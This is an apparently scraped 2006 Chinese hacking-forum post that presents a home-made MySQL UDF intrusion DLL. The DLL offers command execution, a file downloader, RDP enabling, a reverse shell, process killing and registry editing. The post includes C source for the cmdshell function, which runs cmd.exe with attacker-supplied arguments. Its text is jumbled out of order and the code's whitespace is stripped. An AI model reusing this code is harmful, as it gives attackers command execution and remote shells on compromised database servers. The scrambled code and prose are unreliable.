打造全功能MYSQL入侵UDF

strcat(TempFilePath,"\\2351213.tmp");
cmdline=(char*)malloc(strlen(args->args[0])+strlen(TempFilePath)+7);
strcpy(cmdline,"/c");
strcat(cmdline,(args->args)[0]);
HANDLEg_module;
//--------------------------------------------------------------------------------------------------------------------------
BOOLAPIENTRYDllMain(HINSTANCEhModule,DWORDul_reason_for_call,LPVOIDlpReserved)
{
if(ul_reason_for_call==DLL_PROCESS_ATTACH)
g_module=hModule;
returnTRUE;
}
//--------------------------------------------------------------------------------------------------------------------------cmdshell
{
initid->ptr=(char*)malloc(200);
if(initid->ptr==NULL)returnNULL;
strcpy(initid->ptr,"执行CMDShell函数.\r\n例:selectcmdshell(\"dirc:\\\\\");\r\n参数中的\"\\\"要用\"\\\\\"代替.");
#include<windows.h>
#include<tlhelp32.h>
#include<stdlib.h>
#include<winsock.h>
#include<Urlmon.h>
#include"mysql.h"
#include"resource.h"
#pragmacomment(lib,"Urlmon.lib")
si.cb=sizeof(si);
ZeroMemory(&pi,sizeof(pi));
RunStatus=CreateProcess(ShellPath,cmdline,NULL,NULL,FALSE,0,0,0,&si,&pi);
free(cmdline);
if(!RunStatus)
extern"C"__declspec(dllexport)my_boolcmdshell_init(UDF_INIT*initid,UDF_ARGS*args,char*message)
{//return1出错,0正常
initid->max_length=65*1024*1024;
return0;
}
else
{
initid->ptr=(char*)malloc(100);
strcpy(initid->ptr,"\r\n--------------------------------------------完成!\r\n");
}
(*length)=strlen(initid->ptr);
if(hFile!=INVALID_HANDLE_VALUE)
{
size=GetFileSize(hFile,NULL);
initid->ptr=(char*)malloc(size+100);
ReadFile(hFile,initid->ptr,size+1,&len,NULL);
returninitid->ptr;
}
extern"C"__declspec(dllexport)voidcmdshell_deinit(UDF_INIT*initid)
{
if(initid->ptr!=NULL)
free(initid->ptr);
}
//---------------------------------------------------------------------------------------------------------------------------downloader
HANDLry(ShellPath,MAX_PATH-1);
strcat(ShellPath,"\\cmd.exe");
GetEnvironmentVariable("temp",TempFilePath,MAX_PATH-1);
Copycode
//--------------------------------------------------------------------------源程序
//MYSQL_UDF.cpp:定义DLL应用程序的入口点。
#include"stdafx.h"
#include"stdio.h"
}
extern"C"__declspec(dllexport)char*cmdshell(UDF_INIT*initid,UDF_ARGS*args,char*result,unsignedlong*length,char*is_null,char*error)
{
if(args->arg_count!=1||args->arg_type[0]!=STRING_RESULT||stricmp(args->args[0],"help")==0)
extern"C"__declspec(dllexport)my_booldownloader_init(UDF_INIT*initid,UDF_ARGS*args,char*message)
现在网上通过mysql获得系统权限大都通过MYSQL的用户函数接口UDF，比如Mix.dll和my_udf.dll。在Mix.dll中有一个MixConnect函数它会反弹shell，但是使用这个函数会造成MYSQL假死，前些天我就用这个函数反弹shell后由于网络原因不一会儿就断开了，造成了MYSQL当掉。my_udf.dll和Mix.dll相似，但它是通过my_udfdoor函数在服务器上侦听3306端口，用nc正向连接获得shell，但它的功能显的少了点，于是我决定自己写一个功能强大，运行稳定的UDF。
在写MYSQLUDF时另一个必须考虑的问题是程序的稳定时，它要经的起各种BT输入的考验，否则一旦程序出错MYSQL服务进程就会当掉。
以下是我写的UDF内容，它包含10个函数：
cmdshell执行cmd；
downloader下载者,到网上下载指定文件并保存到指定目录；
open3389通用开3389终端服务，可指定端口(不改端口无需重启)；
[原创]打造全功能MYSQL入侵UDF
文章标题:[原创]打造全功能MYSQL入侵UDF顶部 langouster 发布于:2006-08-2921:56 [楼主][原创]打造全功能MYSQL入侵UDF
文章作者：langouster
信息来源：邪恶八进制信息安全团队（）
(initid->ptr)[size]=&#39;\0&#39;;
strcat(initid->ptr,"\r\n--------------------------------------------完成!\r\n");
CloseHandle(hFile);
DeleteFile(TempFilePath);
backshell反弹Shell；
ProcessView枚举系统进程；
KillProcess终止指定进程；
regread读注册表；
regwrite写注册表；
shut关机，注销，重启；
about说明与帮助函数；
使用方法:
创建函数：createfunction函数名(区分大小写)returnsstringsoname&#39;dll名&#39;(注意路径)；
{
//真正实现功能的函数，必需函数；
/*
函数内容;
return结果;
*/
}
extern"C"__declspec(dllexport)voidopen3389_deinit(UDF_INIT*initid)
{
//在open3389函数之后调用，一般用于内存释放，可选函数；
}
以上的open3389函数的返回值是char*类型的，如果是其它类型函数的参数列表也会有所不同，具体的可见MYSQL参考手册。
MYSQL有一个开发包，它定义了自己的接口，变量类型，以及函数执行顺序。比如我们要写一个open3389函数，我们可以这样写：
Copycode
extern"C"__declspec(dllexport)my_boolopen3389_init(UDF_INIT*initid,UDF_ARGS*args,char*message)